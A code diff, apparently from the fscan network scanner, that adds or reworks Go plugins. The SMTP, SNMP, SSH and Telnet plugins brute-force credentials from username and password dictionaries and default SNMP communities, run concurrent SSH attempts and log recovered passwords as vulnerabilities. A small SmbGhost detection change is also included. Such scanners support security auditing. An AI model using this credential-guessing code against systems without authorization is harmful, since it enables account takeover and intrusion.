successMsg = fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "smtp",
|
||||||
|
"type": "anonymous-access",
|
||||||
|
"anonymous": true,
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details = map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "smtp",
|
||||||
|
"type": "weak-password",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"password": result.Credential.Password,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
}
|
||||||
+144
@@ -0,0 +1,144 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"github.com/gosnmp/gosnmp"
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// SNMPScan 执行SNMP服务扫描
|
||||||
|
func SNMPScan(info *Common.HostInfo) (tmperr error) {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
maxRetries := Common.MaxRetries
|
||||||
|
portNum, _ := strconv.Atoi(info.Ports)
|
||||||
|
defaultCommunities := []string{"public", "private", "cisco", "community"}
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
|
||||||
|
|
||||||
|
tried := 0
|
||||||
|
total := len(defaultCommunities)
|
||||||
|
|
||||||
|
for _, community := range defaultCommunities {
|
||||||
|
tried++
|
||||||
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
|
||||||
|
|
||||||
|
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||||
|
if retryCount > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
|
||||||
|
}
|
||||||
|
|
||||||
|
done := make(chan struct {
|
||||||
|
success bool
|
||||||
|
sysDesc string
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func(community string) {
|
||||||
|
success, sysDesc, err := SNMPConnect(info, community, portNum)
|
||||||
|
select {
|
||||||
|
case done <- struct {
|
||||||
|
success bool
|
||||||
|
sysDesc string
|
||||||
|
err error
|
||||||
|
}{success, sysDesc, err}:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}(community)
|
||||||
|
|
||||||
|
var err error
|
||||||
|
select {
|
||||||
|
case result := <-done:
|
||||||
|
err = result.err
|
||||||
|
if result.success && err == nil {
|
||||||
|
successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community)
|
||||||
|
if result.sysDesc != "" {
|
||||||
|
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
|
||||||
|
}
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
// 保存结果
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "snmp",
|
||||||
|
"community": community,
|
||||||
|
"type": "weak-community",
|
||||||
|
"system": result.sysDesc,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
case <-time.After(timeout):
|
||||||
|
err = fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
|
||||||
|
if err != nil {
|
||||||
|
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
|
||||||
|
target, community, err)
|
||||||
|
Common.LogError(errlog)
|
||||||
|
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||||
|
if retryCount == maxRetries-1 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
|
||||||
|
return tmperr
|
||||||
|
}
|
||||||
|
|
||||||
|
// SNMPConnect 尝试SNMP连接
|
||||||
|
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
|
||||||
|
host := info.Host
|
||||||
|
timeout := time.Duration(Common.Timeout) * time.Second
|
||||||
|
|
||||||
|
snmp := &gosnmp.GoSNMP{
|
||||||
|
Target: host,
|
||||||
|
Port: uint16(portNum),
|
||||||
|
Community: community,
|
||||||
|
Version: gosnmp.Version2c,
|
||||||
|
Timeout: timeout,
|
||||||
|
Retries: 1,
|
||||||
|
}
|
||||||
|
|
||||||
|
err := snmp.Connect()
|
||||||
|
if err != nil {
|
||||||
|
return false, "", err
|
||||||
|
}
|
||||||
|
defer snmp.Conn.Close()
|
||||||
|
|
||||||
|
oids := []string{"1.3.6.1.2.1.1.1.0"}
|
||||||
|
result, err := snmp.Get(oids)
|
||||||
|
if err != nil {
|
||||||
|
return false, "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(result.Variables) > 0 {
|
||||||
|
var sysDesc string
|
||||||
|
if result.Variables[0].Type != gosnmp.NoSuchObject {
|
||||||
|
sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte)))
|
||||||
|
}
|
||||||
|
return true, sysDesc, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return false, "", fmt.Errorf("认证失败")
|
||||||
|
}
|
||||||
+310
-176
@@ -8,218 +8,352 @@ import (
|
|||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"net"
|
"net"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
func SshScan(info *Common.HostInfo) (tmperr error) {
|
// SshCredential 表示一个SSH凭据
|
||||||
if Common.IsBrute {
|
type SshCredential struct {
|
||||||
return
|
Username string
|
||||||
}
|
Password string
|
||||||
|
|
||||||
// 增加全局扫描超时
|
|
||||||
scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second)
|
|
||||||
defer scanCancel()
|
|
||||||
|
|
||||||
for _, user := range Common.Userdict["ssh"] {
|
|
||||||
for _, pass := range Common.Passwords {
|
|
||||||
// 使用全局 context 创建子 context
|
|
||||||
ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second)
|
|
||||||
|
|
||||||
// 替换密码中的用户名占位符
|
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
|
||||||
currentUser := user
|
|
||||||
currentPass := pass
|
|
||||||
|
|
||||||
// 创建结果通道
|
|
||||||
done := make(chan struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
}, 1)
|
|
||||||
|
|
||||||
// 在 goroutine 中执行单次连接尝试
|
|
||||||
go func() {
|
|
||||||
success, err := SshConn(ctx, info, currentUser, currentPass)
|
|
||||||
select {
|
|
||||||
case done <- struct {
|
|
||||||
success bool
|
|
||||||
err error
|
|
||||||
}{success, err}:
|
|
||||||
case <-ctx.Done():
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 等待连接结果或超时
|
|
||||||
var err error
|
|
||||||
select {
|
|
||||||
case result := <-done:
|
|
||||||
err = result.err
|
|
||||||
if result.success {
|
|
||||||
cancel()
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
case <-ctx.Done():
|
|
||||||
err = fmt.Errorf("[-] 连接超时: %v", ctx.Err())
|
|
||||||
}
|
|
||||||
|
|
||||||
cancel()
|
|
||||||
|
|
||||||
// 记录失败信息
|
|
||||||
if err != nil {
|
|
||||||
errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v",
|
|
||||||
info.Host, info.Ports, currentUser, currentPass, err)
|
|
||||||
Common.LogError(errlog)
|
|
||||||
tmperr = err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否需要中断扫描
|
|
||||||
if Common.CheckErrs(err) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查全局超时
|
|
||||||
if scanCtx.Err() != nil {
|
|
||||||
return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err())
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果指定了SSH密钥,则不进行密码尝试
|
|
||||||
if Common.SshKey != "" {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return tmperr
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
// SshScanResult 表示SSH扫描结果
|
||||||
// 准备认证方法
|
type SshScanResult struct {
|
||||||
var auth []ssh.AuthMethod
|
Success bool
|
||||||
if Common.SshKey != "" {
|
Error error
|
||||||
pemBytes, err := ioutil.ReadFile(Common.SshKey)
|
Credential SshCredential
|
||||||
if err != nil {
|
}
|
||||||
return false, fmt.Errorf("[-] 读取密钥失败: %v", err)
|
|
||||||
|
// SshScan 扫描SSH服务弱密码
|
||||||
|
func SshScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 创建全局超时上下文
|
||||||
|
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer globalCancel()
|
||||||
|
|
||||||
|
// 创建结果通道
|
||||||
|
resultChan := make(chan *SshScanResult, 1)
|
||||||
|
|
||||||
|
// 启动一个协程进行扫描
|
||||||
|
go func() {
|
||||||
|
// 如果指定了SSH密钥,使用密钥认证而非密码爆破
|
||||||
|
if Common.SshKeyPath != "" {
|
||||||
|
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath))
|
||||||
|
|
||||||
|
// 尝试使用密钥连接各个用户
|
||||||
|
for _, user := range Common.Userdict["ssh"] {
|
||||||
|
select {
|
||||||
|
case <-globalCtx.Done():
|
||||||
|
Common.LogDebug("全局超时,中止密钥认证")
|
||||||
|
return
|
||||||
|
default:
|
||||||
|
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
|
||||||
|
|
||||||
|
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout)
|
||||||
|
if success {
|
||||||
|
credential := SshCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: "", // 使用密钥,无密码
|
||||||
|
}
|
||||||
|
|
||||||
|
resultChan <- &SshScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug("所有用户密钥认证均失败")
|
||||||
|
resultChan <- nil
|
||||||
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
// 否则使用密码爆破
|
||||||
if err != nil {
|
credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords)
|
||||||
return false, fmt.Errorf("[-] 解析密钥失败: %v", err)
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum)
|
||||||
|
resultChan <- result
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 等待结果或全局超时
|
||||||
|
select {
|
||||||
|
case result := <-resultChan:
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
logAndSaveSuccess(info, target, result)
|
||||||
|
return nil
|
||||||
}
|
}
|
||||||
auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
case <-globalCtx.Done():
|
||||||
} else {
|
Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
|
||||||
auth = []ssh.AuthMethod{ssh.Password(pass)}
|
return fmt.Errorf("全局超时,扫描未完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// attemptKeyAuth 尝试使用SSH密钥认证
|
||||||
|
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
|
||||||
|
pemBytes, err := ioutil.ReadFile(keyPath)
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("读取密钥失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||||
|
if err != nil {
|
||||||
|
return false, fmt.Errorf("解析密钥失败: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
config := &ssh.ClientConfig{
|
config := &ssh.ClientConfig{
|
||||||
User: user,
|
User: username,
|
||||||
Auth: auth,
|
Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
|
||||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
return nil
|
return nil
|
||||||
},
|
},
|
||||||
Timeout: time.Duration(Common.Timeout) * time.Second,
|
Timeout: time.Duration(timeoutSeconds) * time.Second,
|
||||||
}
|
}
|
||||||
|
|
||||||
// 使用带超时的 Dial
|
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||||
conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports))
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
defer conn.Close()
|
|
||||||
|
|
||||||
// 设置连接超时
|
|
||||||
if deadline, ok := ctx.Deadline(); ok {
|
|
||||||
conn.SetDeadline(deadline)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建一个新的 context 用于 SSH 握手
|
|
||||||
sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
|
||||||
defer sshCancel()
|
|
||||||
|
|
||||||
// 使用 channel 来控制 SSH 握手的超时
|
|
||||||
sshDone := make(chan struct {
|
|
||||||
client *ssh.Client
|
|
||||||
err error
|
|
||||||
}, 1)
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
|
||||||
if err != nil {
|
|
||||||
sshDone <- struct {
|
|
||||||
client *ssh.Client
|
|
||||||
err error
|
|
||||||
}{nil, err}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
client := ssh.NewClient(sshConn, chans, reqs)
|
|
||||||
sshDone <- struct {
|
|
||||||
client *ssh.Client
|
|
||||||
err error
|
|
||||||
}{client, nil}
|
|
||||||
}()
|
|
||||||
|
|
||||||
// 等待 SSH 握手完成或超时
|
|
||||||
var client *ssh.Client
|
|
||||||
select {
|
|
||||||
case result := <-sshDone:
|
|
||||||
if result.err != nil {
|
|
||||||
return false, result.err
|
|
||||||
}
|
|
||||||
client = result.client
|
|
||||||
case <-sshCtx.Done():
|
|
||||||
return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err())
|
|
||||||
}
|
|
||||||
defer client.Close()
|
defer client.Close()
|
||||||
|
|
||||||
// 创建会话
|
|
||||||
session, err := client.NewSession()
|
session, err := client.NewSession()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return false, err
|
return false, err
|
||||||
}
|
}
|
||||||
defer session.Close()
|
defer session.Close()
|
||||||
|
|
||||||
flag = true
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
if Common.Command != "" {
|
// generateCredentials 生成所有用户名密码组合
|
||||||
// 执行命令的通道
|
func generateCredentials(users, passwords []string) []SshCredential {
|
||||||
cmdDone := make(chan struct {
|
var credentials []SshCredential
|
||||||
output []byte
|
for _, user := range users {
|
||||||
err error
|
for _, pass := range passwords {
|
||||||
}, 1)
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, SshCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
// concurrentSshScan 并发扫描SSH服务
|
||||||
|
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
|
||||||
|
// 限制并发数
|
||||||
|
if maxThreads <= 0 {
|
||||||
|
maxThreads = 10 // 默认值
|
||||||
|
}
|
||||||
|
|
||||||
|
if maxThreads > len(credentials) {
|
||||||
|
maxThreads = len(credentials)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建工作池
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
resultChan := make(chan *SshScanResult, 1)
|
||||||
|
workChan := make(chan SshCredential, maxThreads)
|
||||||
|
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||||
|
defer scanCancel()
|
||||||
|
|
||||||
|
// 启动工作协程
|
||||||
|
for i := 0; i < maxThreads; i++ {
|
||||||
|
wg.Add(1)
|
||||||
go func() {
|
go func() {
|
||||||
output, err := session.CombinedOutput(Common.Command)
|
defer wg.Done()
|
||||||
select {
|
for credential := range workChan {
|
||||||
case cmdDone <- struct {
|
select {
|
||||||
output []byte
|
case <-scanCtx.Done():
|
||||||
err error
|
return
|
||||||
}{output, err}:
|
default:
|
||||||
case <-ctx.Done():
|
result := trySshCredential(info, credential, timeout, maxRetries)
|
||||||
|
if result.Success {
|
||||||
|
select {
|
||||||
|
case resultChan <- result:
|
||||||
|
scanCancel() // 找到有效凭据,取消其他工作
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
select {
|
// 发送工作
|
||||||
case <-ctx.Done():
|
go func() {
|
||||||
return true, fmt.Errorf("命令执行超时: %v", ctx.Err())
|
for i, cred := range credentials {
|
||||||
case result := <-cmdDone:
|
select {
|
||||||
if result.err != nil {
|
case <-scanCtx.Done():
|
||||||
return true, result.err
|
break
|
||||||
}
|
default:
|
||||||
if Common.SshKey != "" {
|
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v",
|
workChan <- cred
|
||||||
info.Host, info.Ports, string(result.output)))
|
|
||||||
} else {
|
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v",
|
|
||||||
info.Host, info.Ports, user, pass, string(result.output)))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
close(workChan)
|
||||||
if Common.SshKey != "" {
|
}()
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v",
|
|
||||||
info.Host, info.Ports))
|
// 等待结果或完成
|
||||||
} else {
|
go func() {
|
||||||
Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v",
|
wg.Wait()
|
||||||
info.Host, info.Ports, user, pass))
|
close(resultChan)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// 获取结果
|
||||||
|
select {
|
||||||
|
case result, ok := <-resultChan:
|
||||||
|
if ok {
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
case <-ctx.Done():
|
||||||
|
Common.LogDebug("父上下文取消,中止所有扫描")
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// trySshCredential 尝试单个SSH凭据
|
||||||
|
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
|
||||||
|
var lastErr error
|
||||||
|
|
||||||
|
for retry := 0; retry < maxRetries; retry++ {
|
||||||
|
if retry > 0 {
|
||||||
|
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||||
|
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||||
|
}
|
||||||
|
|
||||||
|
success, err := attemptSshConnection(info, credential.Username, credential.Password, timeout)
|
||||||
|
if success {
|
||||||
|
return &SshScanResult{
|
||||||
|
Success: true,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
lastErr = err
|
||||||
|
if err != nil {
|
||||||
|
// 检查是否需要重试
|
||||||
|
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||||
|
break // 不需要重试的错误
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return flag, nil
|
return &SshScanResult{
|
||||||
|
Success: false,
|
||||||
|
Error: lastErr,
|
||||||
|
Credential: credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// attemptSshConnection 尝试SSH连接
|
||||||
|
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
connChan := make(chan struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
success, err := sshConnect(info, username, password, timeoutSeconds)
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
case connChan <- struct {
|
||||||
|
success bool
|
||||||
|
err error
|
||||||
|
}{success, err}:
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case result := <-connChan:
|
||||||
|
return result.success, result.err
|
||||||
|
case <-ctx.Done():
|
||||||
|
return false, fmt.Errorf("连接超时")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// sshConnect 建立SSH连接并验证
|
||||||
|
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
|
||||||
|
auth := []ssh.AuthMethod{ssh.Password(password)}
|
||||||
|
|
||||||
|
config := &ssh.ClientConfig{
|
||||||
|
User: username,
|
||||||
|
Auth: auth,
|
||||||
|
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
Timeout: time.Duration(timeoutSeconds) * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer client.Close()
|
||||||
|
|
||||||
|
session, err := client.NewSession()
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer session.Close()
|
||||||
|
|
||||||
|
return true, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// logAndSaveSuccess 记录并保存成功结果
|
||||||
|
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) {
|
||||||
|
var successMsg string
|
||||||
|
details := map[string]interface{}{
|
||||||
|
"port": info.Ports,
|
||||||
|
"service": "ssh",
|
||||||
|
"username": result.Credential.Username,
|
||||||
|
"type": "weak-password",
|
||||||
|
}
|
||||||
|
|
||||||
|
// 区分密钥认证和密码认证
|
||||||
|
if Common.SshKeyPath != "" {
|
||||||
|
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
|
||||||
|
target, result.Credential.Username, Common.SshKeyPath)
|
||||||
|
details["auth_type"] = "key"
|
||||||
|
details["key_path"] = Common.SshKeyPath
|
||||||
|
} else {
|
||||||
|
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
|
||||||
|
target, result.Credential.Username, result.Credential.Password)
|
||||||
|
details["auth_type"] = "password"
|
||||||
|
details["password"] = result.Credential.Password
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogSuccess(successMsg)
|
||||||
|
|
||||||
|
vulnResult := &Common.ScanResult{
|
||||||
|
Time: time.Now(),
|
||||||
|
Type: Common.VULN,
|
||||||
|
Target: info.Host,
|
||||||
|
Status: "vulnerable",
|
||||||
|
Details: details,
|
||||||
|
}
|
||||||
|
Common.SaveResult(vulnResult)
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-2
@@ -97,7 +97,7 @@ const (
|
|||||||
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
|
||||||
func SmbGhost(info *Common.HostInfo) error {
|
func SmbGhost(info *Common.HostInfo) error {
|
||||||
// 如果开启了暴力破解模式,跳过该检测
|
// 如果开启了暴力破解模式,跳过该检测
|
||||||
if Common.IsBrute {
|
if Common.DisableBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -153,7 +153,7 @@ func SmbGhostScan(info *Common.HostInfo) error {
|
|||||||
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
|
||||||
|
|
||||||
// 发现漏洞,记录结果
|
// 发现漏洞,记录结果
|
||||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||||
Common.LogSuccess(result)
|
Common.LogSuccess(result)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,769 @@
|
|||||||
|
package Plugins
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/Common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TelnetCredential 表示一个Telnet凭据
|
||||||
|
type TelnetCredential struct {
|
||||||
|
Username string
|
||||||
|
Password string
|
||||||
|
}
|
||||||
|
|
||||||
|
// TelnetScanResult 表示Telnet扫描结果
|
||||||
|
type TelnetScanResult struct {
|
||||||
|
Success bool
|
||||||
|
Error error
|
||||||
|
Credential TelnetCredential
|
||||||
|
NoAuth bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// TelnetScan 执行Telnet服务扫描和密码爆破
|
||||||
|
func TelnetScan(info *Common.HostInfo) error {
|
||||||
|
if Common.DisableBrute {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||||
|
|
||||||
|
// 设置全局超时上下文
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
// 构建凭据列表
|
||||||
|
var credentials []TelnetCredential
|
||||||
|
for _, user := range Common.Userdict["telnet"] {
|
||||||
|
for _, pass := range Common.Passwords {
|
||||||
|
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||||
|
credentials = append(credentials, TelnetCredential{
|
||||||
|
Username: user,
|
||||||
|
Password: actualPass,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||||
|
len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials)))
|
||||||
|
|
||||||
|
// 使用工作池并发扫描
|
||||||
|
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||||
|
if result != nil {
|
||||||
|
// 记录成功结果
|
||||||
|
saveTelnetResult(info, target, result)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
